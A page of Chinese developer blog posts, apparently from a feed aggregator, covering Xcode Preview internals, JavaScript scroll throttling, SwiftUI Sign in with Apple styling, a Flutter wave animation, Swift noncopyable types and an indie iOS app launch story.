根据 Apple 的这个 官方文档,我们可以得知,为了让 Preview 和 Build and Run 共享构建产物,Xcode 在项目中开启 ENABLE_DEBUG_DYLIB 的情况下,会将原本都放在 XXX.app/XXX 中的主要内容都拆分到 XXX.debug.dylib 这个动态库中,而原本的二进制文件就成为了一个仅仅起到跳板作用的 “空壳” 可执行文件。

为了验证这一点,你可以打开看看你的任意一个完整项目的二进制文件,仅仅从大小你就可以看出,随着代码的增多,增大的只有 XXX.debug.dylib 这个动态库。

而当我们将二进制启动之后,也可以通过 lsof -p $(pgrep -f "") 命令查看到,二进制在整个运行过程中,也确实读取了 debug.dylib 这个动态库。

lsof -p $(pgrep -f SwiftUIPreviewSample)
COMMAND     PID USER   FD   TYPE DEVICE   SIZE/OFF                NODE NAME
SwiftUIPr 77422 onee  cwd    DIR   1,18        416           315720871 /Users/onee/Library/Containers/spatial.onee.SwiftUIPreviewSample/Data
SwiftUIPr 77422 onee  txt    REG   1,18      57552           316066805 /Users/onee/Code/Playground/SwiftUIPreviewSample/Build/Products/Debug/SwiftUIPreviewSample.app/Contents/MacOS/SwiftUIPreviewSample
SwiftUIPr 77422 onee  txt    REG   1,18     290816           264469085 /Applications/Xcode.app/Contents/Developer/usr/lib/libBacktraceRecording.dylib

所以,在一次正常的 Build and Run 流程中,整个二进制的构建和执行结果会是下图所示的流程:

探究一下:一次 Preview 的应用是怎么运行起来的?

而当我们启用了 Preview 之后,整个应用的构建流程就会开始有一些变化。首先,在整个构建过程中,Xcode 将会针对使用了 Preview 宏的 Swift 代码源文件,生成一些特别的 .preview-thunk.swift 文件,在这个文件中会对原始的 Swift 文件做一些文件上的预处理。

Tips

在计算机领域中,thunk 一般指的是一种用于解决不同代码段之间的接口问题的技术,一个典型例子就是将回调风格的异步函数转换为 async/await 风格的函数,我们就可以将这个过程称之为 thunkify。

例如,假如我们的源文件是是这样的:

import SwiftUI

let myText = "Hello, world!"

struct ContentView: View {
    @State var item = Item(name: "Hello!")
    @State var count = 0
    
    var body: some View {
        VStack {
            Image(systemName: "globe")
                .imageScale(.large)
                .foregroundStyle(.tint)
            Text("(item.name) Foo, Bar, Baz")
        }
        .padding()
    }
}

#Preview {
    ContentView()
}

那么对应的 .preview-thunk.swift 文件就会是这样的:

import func SwiftUI.__designTimeFloat
import func SwiftUI.__designTimeString
import func SwiftUI.__designTimeInteger
import func SwiftUI.__designTimeBoolean

#sourceLocation(file: "/Users/onee/Code/Playground/SwiftUIPreviewSample/SwiftUIPreviewSample/ContentView.swift", line: 1)
// 1. 这里标记了源文件的位置
//
// SwiftUIPreviewSample
// Created by: onee on 2025/1/10
//

import SwiftUI

let myText = "Hello, world!"

struct ContentView: View {
    @State var item = Item(name: "Hello!")
    @State var count = 0
    
    var body: some View {
        VStack {
            Image(systemName: __designTimeString("#2282_0", fallback: "globe"))
            // 2. 这里使用了开头引入的私有函数
                .imageScale(.large)
                .foregroundStyle(.tint)
            Text("(item.name) Foo, Bar, Baz")
        }
        .padding()
    }
}

#Preview {
    ContentView()
}

Xcode 对原始的 Swift 文件主要做了两个地方的处理,首先是使用 #sourceLocation 标记了源文件的位置,方便做一些异常报错的优化;另外,在一些文字字面量的位置,使用 __designTimeString 替换原本的文字内容,方便在文字变化时直接修改。

除了额外生成这些 .preview-thunk.swift 文件,其他的构建流程和普通的 Build and Run 的构建流程基本一致。Xcode 会将整个项目完整构建,最终也会生成和普通的 Build and Run 一样的 .app 文件。并且,我们也可以在 Xcode 中的 Report Navigator 中查看到整个构建过程的详细信息。

Tips

是的,这一点相当反直觉。我相信大部分人看到 Preview 宏的写法时,第一反应都会以为 Preview 只会编译单个文件。

和正常的 Build and Run 不同的是,Preview 运行起来的应用会使用 PreviewInjection.framework 和 XOJITExecutor.framework 这两个系统私有库(macOS 在 /System/Library/PrivateFrameworks 目录下就能找到)来 JIT 执行整个应用。这一点,我们可以通过故意在 Preview 中写一个会产生异常的代码来验证:

struct ContentView: View {
    var body: some View {
        // 在这里故意写一个数组越界的代码
        let a = [1]
        let b = a[2]
        // other code
    }
}

然后我们就可以从 Preview 的异常日志中看到这样的信息:

5   ???                        0x3400f0aa4 _$s20SwiftUIPreviewSample11ContentViewV4bodyQrvg$14$body
6   ???                        0x3400f1d30 _$s20SwiftUIPreviewSample11ContentViewV0A2UI0E0AadEP4body4BodyQzvgTW$14$body
# ...
70  XOJITExecutor              0x000007adc __xojit_executor_run_program_wrapper + 1832
71  XOJITExecutor              0x0000037cc ???
72  PreviewsInjection          0x000038098 ???
73  SwiftUIPreviewSample       0x000001958 __debug_blank_executor_main + 1056
74  dyld                       0x000006274 start + 2840

其中 ”???” 就是 Xcode Preview 采用 JIT 方式执行的代码。由于没有调试信息,所以在最终的日志中我们也看不到具体名称。

相同的异常在 Build and Run 运行起来的应用中,会是这个样子:

5   HotReloadInspector.debug.dylib       0x10467656c ContentView.body.getter + 644 (ContentView.swift:74)
6   HotReloadInspector.debug.dylib       0x10467940c protocol witness for View.body.getter in conformance ContentView + 28
# ...
75  SwiftUI                              0x1c1016f38 static App.main() + 224
76  HotReloadInspector.debug.dylib       0x10467d128 static HotReloadInspectorApp.$main() + 40
77  HotReloadInspector.debug.dylib       0x10467d2d8 __debug_main_executable_dylib_entry_point + 12 (HotReloadInspectorApp.swift:9)
78  dyld                                 0x191770274 start + 2840

与 Build and Run 不同,Preview 模式下运行的应用完全不会读取 .debug.dylib 这个动态库,而是读取 __preview.dylib 来完成后续所有的 JIT 执行。这一点也可以从 lsof -p $(pgrep -f "XXX") 命令的结果中看到:

lsof -p $(pgrep -f SwiftUIPreviewSample)
COMMAND     PID USER   FD   TYPE             DEVICE   SIZE/OFF                NODE NAME
SwiftUIPr 42252 onee  cwd    DIR               1,18        704                   2 /
SwiftUIPr 42252 onee  txt    REG               1,18      57040           316025086 /Users/onee/Library/Developer/Xcode/UserData/Previews/Simulator Devices/EA49B734-414B-4A25-B2F4-9D72D059EF9E/data/Containers/Bundle/Application/571D3078-50BF-4273-90CC-A5AF8D652500/SwiftUIPreviewSample.app/SwiftUIPreviewSample
SwiftUIPr 42252 onee  txt    REG               1,18      34896           316025089 /Users/onee/Library/Developer/Xcode/UserData/Previews/Simulator Devices/EA49B734-414B-4A25-B2F4-9D72D059EF9E/data/Containers/Bundle/Application/571D3078-50BF-4273-90CC-A5AF8D652500/SwiftUIPreviewSample.app/__preview.dylib # 

另外,如果是 Preview SPM Package 中的代码,整体的执行流程会和 Preview 主工程中的代码有些许的不同,Xcode 会使用 XCPreviewAgent.app 这个应用来运行整个应用。这个应用就藏在 Xcode 中,你可以通过 find /Applications/Xcode.app/ -name "*Agent" 来看看他具体在哪里:

find /Applications/Xcode.app/ -name "*Agent"
/Applications/Xcode.app//Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/Xcode/Agents/XCPreviewAgent.app/XCPreviewAgent
# others...

这样,我们就可以用下面的流程图来表示 Preview 的整个运行流程:

注意

尽管通过框架名称我们可以推断出来 Preview 使用了 JIT 来执行代码,不过在此次的探究中,我们并没有找到具体的 JIT 执行细节,例如异常日志中 ??? 所代表的二进制内容的具体位置,因此在目前版本的图中,??? 代表的二进制前面就先放了一个问号。

如果你对这方面有更深入的了解,欢迎在评论区留言或者直接 与我交流

到目前为止,我们已经知道一个 Preview 执行首次执行起来是什么样子了,如果我们修改了代码,Preview 会如何重新构建呢?

Preview 的三层重构建策略

正如我们文章一开始所说,Preivew 有三种不同的策略来重新构建应用。这里我们分别用具体的例子来进行说明。

Small

首先是改动最小的,修改方法中的字面量,例如 这个修改,我们将 ContentView 中的 Text 中的字面量从 Hello, world! 改为 Hello, world!, Foo, Bar, Baz

而在此之前,ContentView 对应的 thunk.swift 文件中,Text 对应的代码是这个样子的:

Text(__designTimeString("#25104_1", fallback: "Hello, world!")

从 commit 记录可以看出,在这种修改下,DerivedData 文件夹下的内容并没有发生任何变化。同时,通过对比 pgrep -f SwiftUIPreviewSample 的 PID 也可以得知,原有的 SwiftUIPreviewSample 进程并没有被销毁。

并且,如果我们使用 @State 存储了一些变量,Small 程度下的修改并不能保留这些变量的状态,例如我们将 count 从 0 改为 1,修改字面量后, count 的值会恢复为 0。

那我们就就可以合理推断,在这种策略下,Xcode 应该是通过直接读取源代码中的字面量内容,然后将新的字面量内容更新到已有的 SwiftUIPreviewSample 进程中,进一步通过重新执行 Preview 宏创建出来的一系列方法来实现整个视图的更新的。

当 Preview 重新执行时,__designTimeString() 会返回更新后的字符字面量的最新值,从而实现了视图上文字的更新。

Middle

接下来,如果我们修改了方法中其他非字面量的内容,例如将一个变量修改为带插值的字符串,如 这个修改

从 commit 记录可以看出,在这种情况下,Xcode 会重新生成 .preview-thunk.swift 文件以及对应的 .o 文件,但重新生成的范围仅限于做了修改的文件,.app 下的二进制文件和动态库并不会重新生成。

同时,通过 pgrep -f SwiftUIPreviewSample 的 PID 也可以得知,原有的 SwiftUIPreviewSample 进程已经被关闭,Xcode 重新生成了一个新的 SwiftUIPreviewSample 进程。

因此我们可以合理推断,在这种策略下,Xcode 只会重新编译做了方法内容修改的源文件,然后通过重新运行一次 SwiftUIPreviewSample 进程来实现整个视图的更新。

Large

最后,如果我们修改了类或结构体属性、修改全局变量、增加 @State 等,例如 这个修改

从 commit 记录可以看出,类似这样的修改也会更新 .app 下的二进制文件和动态库。当这样的修改出现时,我们可以从 Xcode 的 Report Navigator 中看到整个项目的重新编译日志:

同样,通过 pgrep -f SwiftUIPreviewSample 的 PID 也可以得知,原有的 SwiftUIPreviewSample 进程已经被关闭,Xcode 重新生成了一个新的 SwiftUIPreviewSample 进程。

因此我们可以合理推断,在这种策略下,Xcode 会重新编译整个项目,然后通过重新运行一次 SwiftUIPreviewSample 进程来实现整个视图的更新。

他山之石:对比一下 Flutter 的 Hot Reload

尽管在 Xcode 16 中 Preview 已经做出了一些优化,但如果对比其他框架的 Hot Reload 功能,例如 Flutter 的 Hot Reload,目前版本的 Preview 还有不少提升空间:

  1. 不支持断点调试。在这一点上,Flutter 的 Hot Reload 不但支持断点调试,当代码修改之后断点的位置也不会漂移,可以说体验非常好
  2. 视图上的状态会被重置。相比之下,Flutter 在大部分情况下的 Hot Reload 会保留视图的状态,这样在调试需要状态的 UI 时会方便很多
  3. 整体实现更加黑盒。Flutter 的文档详细探讨了 DartVM 支持 Hot Reload 的过程和原理,而 Apple 在这一点上相对欠缺

不过,也许 Xcode 16 的 Preview 机制改进只是一个开始,希望后续版本的 Xcode 能针对 Preview 有更大的优化。

参考

本文 首发于 御姐的个人空间

by SpatialOnee_御姐 at January 12, 2025 02:44 PM

January 11, 2025

juejin ios

如何解决鼠标滚动时多次触发事件?

引言

鼠标滚动事件在网页中是常见的交互方式,但在某些情况下,滚动事件可能会被多次触发,导致性能问题或不必要的重复操作。为了解决这个问题,我们可以采用几种技术手段来限制事件的触发频率。

解决方案

1. 使用节流(Throttling)

节流是一种控制函数执行频率的技术,通常适用于处理高频率事件(如滚动、窗口调整大小等)。我们可以使用一个定时器来限制事件的触发频率。以下是一个简单的节流实现:

function throttle(func, delay) {
    let lastCall = 0;
    return function(...args) {
        const now = Date.now();
        if (now - lastCall >= delay) {
            lastCall = now;
            return func.apply(this, args);
        }
    };
}

// 使用节流处理滚动事件
window.addEventListener('scroll', throttle(() => {
    console.log('滚动事件触发');
}, 100));

2. 使用防抖(Debouncing)

防抖是一种延迟执行的技术,只有在事件触发结束后的一段时间内没有再触发,才会执行相应的函数。适用于输入框等场景。以下是一个防抖的实现:

function debounce(func, delay) {
    let timeout;
    return function(...args) {
        clearTimeout(timeout);
        timeout = setTimeout(() => {
            func.apply(this, args);
        }, delay);
    };
}

// 使用防抖处理滚动事件
window.addEventListener('scroll', debounce(() => {
    console.log('滚动事件触发');
}, 200));

3. 结合节流和防抖

在某些情况下,可以结合节流和防抖来实现更精细的控制。例如,在滚动过程中实时更新状态,但在滚动结束后再执行某个操作:

let isScrolling;
window.addEventListener('scroll', () => {
    // 清除之前的定时器
    window.clearTimeout(isScrolling);

    // 更新状态
    console.log('滚动中...');

    // 设置一个新的定时器
    isScrolling = setTimeout(() => {
        console.log('滚动结束');
    }, 200);
});

4. 事件代理

在某些情况下,使用事件代理可以减少事件监听器的数量,间接降低事件触发的频率。通过在父元素上监听事件,减少对子元素的单独事件监听:

document.querySelector('.scroll-container').addEventListener('scroll', (event) => {
    console.log('滚动事件触发');
});

5. 使用 CSS 解决滚动抖动问题

在某些情况下,使用 CSS 属性可以减少滚动事件的频率。例如,使用 overflow: scroll;overflow: auto; 来限制滚动区域的范围:

.scroll-container {
    overflow: auto; /* 限制滚动区域 */
    height: 300px; /* 设置高度 */
}

6. 通过请求动画帧(requestAnimationFrame)

利用浏览器的 requestAnimationFrame 方法,可以将滚动事件的处理函数与浏览器的重绘机制同步,从而提高性能:

let ticking = false;

function update() {
    console.log('滚动事件触发');
    ticking = false;
}

window.addEventListener('scroll', () => {
    if (!ticking) {
        window.requestAnimationFrame(update);
        ticking = true;
    }
});

总结

处理鼠标滚动事件时,多次触发的问题可以通过节流和防抖技术来有效解决。结合使用 requestAnimationFrame 和事件代理,可以进一步优化性能。根据实际需求选择合适的策略,以实现流畅的用户体验。

by 打野赵怀真 at January 11, 2025 10:24 PM

巧用 allowsHitTesting 自定义 SignInWithAppleButton

最近在做一个新项目,需要使用 Sign in with Apple。由于这是是一个纯 SwiftUI 项目,因此我们首先考虑使用的是 Apple 官方的 SignInWithAppleButton 组件。

相较于传统的 Sign in with Apple API,SignInWithAppleButton 继承了 SwiftUI 组件的特性,API 特别简单,一个方法就能搞定 UI 展示。

SignInWithAppleButton(.signUp) { request in
    request.requestedScopes = [.fullName, .email]
} onCompletion: { result in
    print(result)
}
.signInWithAppleButtonStyle(.whiteOutline)

唯一美中不足的是,这个 Button 默认提供的 Style 只有三种,而且 Button 的尺寸也不能完全自定义,有最小宽度。

  • Black

image.png

  • White

image.png

  • White with outline

image.png

通过查看官方的 Human Interface Guidelines ,我们可以发现,官方其实还提供了其他的设计样式,例如更加常见的 icon only,但是目前 SignInWithAppleButton 并不支持这些样式,也不支持自定义样式(修改按钮的 content),SignInWithAppleButton.Style 也不支持自定义。

既然如此,我们就需要想办法曲线救国。

首先,我们需要解决 SignInWithAppleButton 的尺寸问题。当我们给 SignInWithAppleButton 设定 frame width 时,当 width 小于一定的值,SignInWithAppleButton 便不会继续缩小,应该是内部为了效果给了最小宽度。为了方便布局,我们可以使用 frame + clipped 强制将 SignInWithAppleButton 的尺寸裁剪成我们需要的。

SignInWithAppleButton(.signUp) { request in
    request.requestedScopes = [.fullName, .email]
} onCompletion: { result in
    print(result)
}
.frame(width: 32, height: 32)
.clipped()

至于样式,我们首先想到的是将一个图片盖在 SignInWithAppleButton 之上,不过盖在上面的元素会阻断 SignInWithAppleButton 的点击事件。为了能够让 SignInWithAppleButton 继续拿到点击事件,我们需要屏蔽掉上层元素的点击事件。我们可以通过 allowsHitTesting 来实现。

ZStack {
    SignInWithAppleButton(.signUp) { request **in******
        request.requestedScopes = [.fullName, .email]
    } onCompletion: { result **in******
        print(result)
    }
    Image(.sign)
        .allowsHitTesting(false)
}
.frame(width: 32, height: 32)
.clipped()

这样,我们就得到了一个自定义样式的 SignInWithAppleButton

image.png

by ZacJi at January 11, 2025 05:57 AM

January 10, 2025

juejin ios

Flutter 动画实战:绘制波浪动效详解

在移动应用开发中,动画效果可以极大地提升用户体验。本文将详细介绍如何使用 Flutter 的 CustomPainterAnimationController 实现一个简单的波浪动画效果。

效果展示

录屏2025-01-10 11.25.12.gif

技术描述

我们将使用 Flutter 的 CustomPainter 来绘制波浪,并通过 AnimationController 控制波浪的动态效果。这个动画效果可以用于各种场景,比如加载动画、背景装饰等。

实现步骤

1. 创建波浪绘制类

首先,我们需要创建一个继承自 CustomPainter 的类 WavePainter,用于绘制波浪的路径。

class WavePainter extends CustomPainter {
  final double waveProgress;

  WavePainter(this.waveProgress);

  @override
  void paint(Canvas canvas, Size size) {
    final paint = Paint()
      ..color = Colors.blueAccent
      ..style = PaintingStyle.fill;

    final path = Path();
    path.moveTo(0, size.height * 0.5);
    for (double i = 0; i <= size.width; i++) {
      path.lineTo(i, size.height * 0.5 + 10 * sin((i / size.width * 2 * pi) + (waveProgress * 2 * pi)));
    }
    path.lineTo(size.width, size.height);
    path.lineTo(0, size.height);
    path.close();

    canvas.drawPath(path, paint);
  }

  @override
  bool shouldRepaint(covariant CustomPainter oldDelegate) {
    return true;
  }
}

2. 创建波浪动画页面

接下来,我们创建一个 WaveAnimationPage,使用 AnimationController 来控制波浪的动态效果。

class WaveAnimationPage extends StatefulWidget {
  @override
  _WaveAnimationPageState createState() => _WaveAnimationPageState();
}

class _WaveAnimationPageState extends State<WaveAnimationPage>
    with SingleTickerProviderStateMixin {
  late AnimationController _controller;

  @override
  void initState() {
    super.initState();
    _controller = AnimationController(
      vsync: this,
      duration: Duration(seconds: 2),
    )..repeat();
  }

  @override
  void dispose() {
    _controller.dispose();
    super.dispose();
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: Text('波浪动画效果')),
      body: AnimatedBuilder(
        animation: _controller,
        builder: (context, child) {
          return CustomPaint(
            painter: WavePainter(_controller.value),
            child: Container(),
          );
        },
      ),
    );
  }
}

3. 技术解析

  • CustomPainter: 用于自定义绘制图形。我们在 paint 方法中定义了波浪的路径。
  • AnimationController: 控制动画的播放。通过 repeat 方法实现波浪的循环动画。
  • AnimatedBuilder: 用于监听动画的变化并重建 CustomPaint,从而实现动态效果。

通过以上步骤,我们成功实现了一个简单的波浪动画效果。这个效果可以根据需求进行扩展,比如调整波浪的颜色、速度等。

希望这篇文章能帮助你在 Flutter 开发中更好地理解动画的实现。如果有任何问题或建议,欢迎在评论区留言讨论。

by Sinyu1012 at January 10, 2025 03:40 AM

January 09, 2025

juejin ios

仓颉-issue解答1548-StringBuilder的append方法的泛型应用

issue地址

gitcode.com/Cangjie/Use…

描述

为什么StringBuilder可以append不同类型的变量。

仓颉中的类型泛型是不型变的,为什么如下的代码可以编译通过

代码

func issue1548() {
    let sb = StringBuilder()
    sb.append(r'7', 3, false, 1.2, 'str')
    print(sb)
}

分析

我们首先找到StringBuilder的append方法,它有很多重载的append方法

image.png

符合代码中使用的形式如下

image.png

为什么是这个形式的append函数,因为仓颉中关于变长参数有如下的说法

image.png

我们分析一下为什么能够通过编译

首先代码中传给append函数的实参是字面量 r'7', 3, false, 1.2, 'str',而仓颉中基本类型都实现了ToString接口,编译器结合append函数的形参要求,将参数推断为Array<ToString>

其他代码探索

func issue1548() {
    let sb = StringBuilder()
    // String
    let a = 'str'
    // Array也是泛型,如果不标注类型,会报下面的错误
    // inconsistent element type for array literal, Traces: The types 'Bool', 'Float64', 'Int64', 'Rune' and 'Struct-String' do not have the smallest common supertype
    // let args0 = [r'7', 3, false, 1.2, a]
    // 这里args类型标注为Array<ToString>,虽然a是String类型,但由于String实现了ToString接口,它是ToString的子类型。
    // 而泛型型变是指整体赋值的时候的约束。所以这里a依然可以放入args
    var args:Array<ToString> = [r'7', 3, false, 1.2, a]
    var args2 = ['a','b','c']
    // 不型变指的是整体赋值的时候不型变
    // mismatched types expected 'Struct-Array<Interface-ToString>', found 'Struct-Array<Struct-String>'
    // args = args2
    sb.append([r'7', 3, false, 1.2, a])
    sb.append(args)
    sb.append(args2)
    print(sb)
}

by HarderCoder at January 09, 2025 02:17 AM

January 08, 2025

juejin ios

ios vpn app 手动kill之后 断开vpn

import Flutter
import UIKit
import AppIntents
import Foundation
import NetworkExtension


@main
@objc class AppDelegate: FlutterAppDelegate {
var providerManager: NETunnelProviderManager?
  override func application(
    _ application: UIApplication,
    didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?
  ) -> Bool {
      var controller =  window?.rootViewController as! FlutterViewController;
      controller.isViewOpaque = false
      GeneratedPluginRegistrant.register(with: self)
    return super.application(application, didFinishLaunchingWithOptions: launchOptions)
  }


    override func applicationWillTerminate(_ application: UIApplication) {
        self.providerManager?.connection.stopVPNTunnel()
         print("applicationWillTerminate")
     }


    override func applicationDidBecomeActive(_ application: UIApplication) {
       super.applicationDidBecomeActive(application)
       loadProviderManager()
    }


    func loadProviderManager() {
        NETunnelProviderManager.loadAllFromPreferences { (managers, error) in
            if error == nil {
                self.providerManager = managers?.first ?? NETunnelProviderManager()
            }
        }
    }
}

by 火柴就是我 at January 08, 2025 07:03 AM

Swift 不可复制类型: 定义唯一所有权提高性能

前言

Hi, 大家好,我是一牛。今天我想和大家分享的是 Swift 引入的新特性 - 不可复制类型~Copyable 。 在 Swift 中值类型(结构体,枚举)是可以被复制的,这意味着可以创建多个相同的副本。有时候我们需要实现对某种资源的独占,无论是结构体还是枚举类型都不适合。而类可以表示一个唯一的资源,但是类的引用可以被复制,因此类始终都会共享资源的所有权。这样在内存分配和引用计数上产生了开销,随之而来的还有复杂性和不安全性,不可复制类型正是在这种背景下产生的。

可复制类型

在回答不可复制类型是什么时,我们先回顾下什么是可复制类型。对此,我们有三点共识。

  • Copyable 是一个标记协议。和 Sendable 一样,它没有任何实现要求。
  • 它描述了一种可以被复制的能力
  • 在 Swift 中,一切都是默认可复制的

具体来说,对于值类型,考察以下代码

    // 枚举
    enum Planet {
        case Mars
        case Earth
        case Mecury
    }
    let p1 = Planet.Earth
    let p2 = p1
    // 结构体
    let s1 = "Hello, ~Copyable"
    let s2 = s1

我们可以简单画一下它们各自的内存模型。

Screenshot 2025-01-06 at 15.19.24.png

可以看出对于枚举类型,赋值后, p1 和 p2 指向的内存是不一样的,他们的内容相同。同理对于结构体也是相同的行为。

即使我们在赋值结束后修改了p2或者s2,也不会改变p1和s1,这是因为复制前后指向的内存不再相同。

  • 对于引用类型,情况就不一样了,考察以下代码
let c1 = C()
let c2 = c1
let c3 = c1
class C {}

Screenshot 2025-01-06 at 15.30.15.png

对于类对象Swift 使用的是自动引用计数,也就是说c1,c2,c3 都持有C的实例,赋值前后指向的内存没有改变,所以修改c3会改变这个实例。

不可复制类型

你可以使用~Copyable来抑制默认的复制能力

    enum Planet: ~Copyable {
      case Mars
      case Earth
      case Mecury
    }
    let p1 = Planet.Earth
    let p2 = consume p1   // consume 关键字可以可以省略
    p1 // error: 'p1' used after consume

当我们将 p1 赋值给 p2后,此时所有权已归属p2, 编译器保证我们不能再访问p1, 从而达到资源的唯一访问。注意的这里的 consume可以被省略。

所有权

对于不可复制类型,我们有三种所有权形式。

  1. Consuming

    func investigate(_ planet: consuming Planet) {}
    let p1 = Planet.Earth
    investigate(p1)
    p1 // 'p1' used after consume
    
    • p1 消耗完之后不能被调用端访问
    • 我们可以在方法investigate内部修改参数
    • 方法investigate获得了参数的所有权
  2. Borrowing

    let p1 = Planet.Earth
    search(p1)
    p1 // Works.
    func search(_ planet: borrowing Planet) {}
    
    • search 方法没有获得参数的所有权
    • 调用端在 search 方法之后还能访问 p1
    • search 方法内部不能修改参数
  3. Inout

    var p1 = Planet.Earth
    simulate(&p1)
    p1 // Works.
    func simulate(_ planet: inout Planet) {
        var newPlanet = consume planet
        newPlanet = .Earth
        planet = newPlanet
    }
    
    • 可以消耗参数
    • 但是在函数作用域结束之前必须重新初始化参数

用法

Borrowing 和 Consuming 也可以用在方法名前

    struct Planet: ~Copyable {
        consuming func destory() {
            discard self
        }
        borrowing func rotate() {
        }

        deinit {
            print(#function)
        }
    }
    var p1 = Planet.Earth
    p1.destory()
    p1.destory() //error: 'p1' consumed more than once   
  • 可以将函数标记为消耗性函数,默认是borrowing
  • 消耗性函数作用域结束之前,系统会调用 deinit 函数
  • 可以在消耗性函数作用域结束之前,调用 discard self, 这样 deinit 函数不再被调用

总结

理解不可复制类型的前提是理解可复制类型,当我们掌握值类型和引用类型的内存模型,掌握不可复制类型变得极其简单。通过使用不可复制类型,我们可以提高系统的安全性和性能。

by 一牛 at January 08, 2025 06:25 AM

January 07, 2025

juejin ios

从 4.3 到成功上架,总结过去一年独立开发的经历(踩坑之路)

前言

作为一个工作多年的程序员,心里一直有想开发自己产品上架的想法,但由于之前没有客户端的开发经验以及上架应用的经历,不熟悉客户端的开发流程,所以一直拖延,没有把想法付诸实践,由于近两年 AI 快速发展,很多问题通过 AI 便可以快速得到解决,大大降低了开发的难度,我觉得这是一个不错的机会,于是在过去的一年开始着手进行设计与开发。这篇文章会介绍在过去一年应用开发与上架的心得,以及踩坑之路,希望对大家有所帮助,也希望在新的一年里可以继续努力,有所成长。

过去一年做的一些项目

先说说过去一年做的一些个人项目:

  • BiliVideoDown: 基于 Flutter 编写的 B 站视频下载器, 地址:github.com/kangpeiqin/… , 目前 star 700+,本来,想写个教程,但是没有持续输出的动力,也就不了了之了。

product.gif

Component 51.png

学习开发与设计过程

由于之前没有客户端开发、产品和 UI 设计的相关经验,在一无所知的情况下,要说一下子就投入开发,进行行动,似乎有些困难,所以有一部分知识需要提前学习一下,起码需要知道一些大致的知识框架,主要包括设计方面和技术方面,技术方面的话,经过调研,决定选择跨端开发技术 Flutter,Flutter 的优势主要在于一套代码,多端运行,可以减少开发的成本,性能方面,相较于原生开发固然有所欠缺,但是对于不复杂的业务,已经足够。设计方面的话,主要是学习 Figma,Figma 是目前流行的设计工具,其强大的协作和原型设计功能就不说了,主要是上手也很快。在确定了大致的方向之后,就开始进行学习,前期主要通过看书与视频,大概了解一下相关的概念,这当中的过程有些枯燥,而且漫长,半知半懂,得到的正反馈比较少,毕竟计算机科学毕竟是一门实践的学科,需要进行一些必要的实践,在实践当中学习。于是在后期,我决定通过开发一个项目来巩固所学的知识,刚好那段时间需要在 B 站上面下载一些视频,那就开发一个 B 站视频下载器试试看,参考了一些别人现成的产品界面,就开始搭建开发环境,写代码,在这期间,也遇到很多问题,这时主要通过参考一些开源项目,通过 AI、相关的博客找到问题的解决方案,通过这个项目,也深刻理解了客户端开发当中的一些核心概念:数据持久化、状态管理、网络数据请求等,为下个项目的开发打下一些基础。

产品开发与上架的过程

既然有了一个项目开发的基础,并且也掌握了客户端开发的一些主要技术,于是,我就打算着手开发一款 App 了,那么开发什么类型的应用呢?这是一个难题,毕竟 2025 年,各类 App 层出不穷,基本上已经满足了大部分用户的需求场景,市场几乎已经是一片红海,很难找到蓝海市场,只能做一些垂直领域,小众市场的产品,而且需要做出自己的一点特色。经过一番市场调研,就决定做个倒数日 App,功能也相对简单,容易实现,在 App 应用市场,iOS 对于个人开发者算是比较友好的了,不需要企业资质也能上架应用。

前期准备

开发 iOS 应用,首先需要一台 Mac 电脑,虽然 Flutter 应用使用 windows 系统也可以开发,但是后期的上架和调试必须也要使用 Xcode 才行。

安装必要的开发环境

  • Flutter 开发环境安装,只要按照官网的流程来进行安装就好了,Flutter 的各个版本不兼容,所以有必要安装个 FVM (fvm.app/) 进行版本的切换与管理,之前做 B 站视频下载器的小项目已经安装好了,所以这个步骤就略过了。
  • 安装 Xcode,Xcode 是 Apple 专门为开发者提供的开发工具(IDE),调试运行以及后续的发布都需要通过 Xcode 进行。

申请 Apple 开发者账号

申请 Apple 开发者账号,年费 99 美刀,折合人民币 688,申请过程也相对比较简单,Apple 审核也很快,提交相关的资料,付完年费后,几天就可以审核通过了。如果不上架 AppStore,也可以不用申请,有没有开发者账号大部分时间并不会影响应用的开发,除非需要真机调试,以及申请一些其他的功能:如桌面小组件、支付功能等。

设计与开发

开发一个 App,首先就是要确定相关的功能,然后设计原型,绘制相关的 UI 设计图,由于对于 Figma 的设计并不熟练,前期就直接在草稿纸上画一些相对简单的原型图,一边开发一边完善 UI 设计。确定相关功能后,就开始制定开发计划,每周开始完成一些相应的功能。在这开发过程中,比较棘手的是桌面小组件的开发,在这过程中需要用 swift 去编写一些原生的代码,通过 Flutter 与原生完成一些通信,还要再 Xcode 上做一些相应的配置,但是,市面上完整的教程和资料太少了,刚开始做不了解其中的流程和原理,所以这里耽误了很长的时间。

备案

经过一段时间的折腾,初步完成了应用的开发,虽然没有服务端支持,但是要上架国内的 AppStore,根据国内的上架规定,备案还是少不了。备案需要域名和服务器,包括 App 备案和域名备案,于是就在阿里云买了云服务器和域名,轻量级云服务器¥99/年,价格相对实惠,就是配置比较低,当作静态服务器,挂个网站已经足够。域名的话,根据购买的域名类型、购买的时长,价格也会有相应的浮动,选个不那么热门的域名,价格总体还能接受。

首次提审

经过了这么长时间的努力,终于到了提审阶段,兴冲冲的进行提审,终于可以上架了,然而,当天晚上提审,第二天就收到被拒的邮件,打开 AppConnect,发现是 4.3,对于 4.3 早就有所耳闻,4.3 意味着接着提审或者申诉进行上架的概率很低,如果没有大改,大概率是上不架的。看到这样的结果,不免还是有点难受,一时之间不知道如何是好,查了一些资料,了解到 Apple 应用的审核主要分为机审和人审,机审的话会对代码、UI 图进行扫描,如果没问题,再由审核人员进行审核,看了一下,代码应该是没问题的,都是手把手写出来的,那么最有问题的可能是 UI 界面了。本来打算放弃上架了,好在咨询了一下群友,群友的反馈也是这样,UI 界面太丑了,如果改下 UI 界面,审核人员应该也是给机会的,最终,决定再重新设计一下 UI 界面,优化了一下交互。 image.png

  • 初版 UI 界面

image.png

  • 群友的帮助与鼓励

1736245771688.png 1736244830289.png

成功上架

这样大改了一下 UI 界面,两个月过去了,总体的工作量不是很大,主要在 UI 界面的构思上面花费的时间比较长,再次提审,Apple 审核效率还行,一般情况,在 24 小时内就会有审核结果,节假日的话应该会久一点。

image.png

最后

通过完整的一个应用的开发与上架,基本掌握了开发与上架的完整流程。希望在接下来的一年里再接再厉。

by 阳光的碎屑 at January 07, 2025 01:52 PM

January 06, 2025

juejin freebie

鸿蒙应用签名实操及机制探究

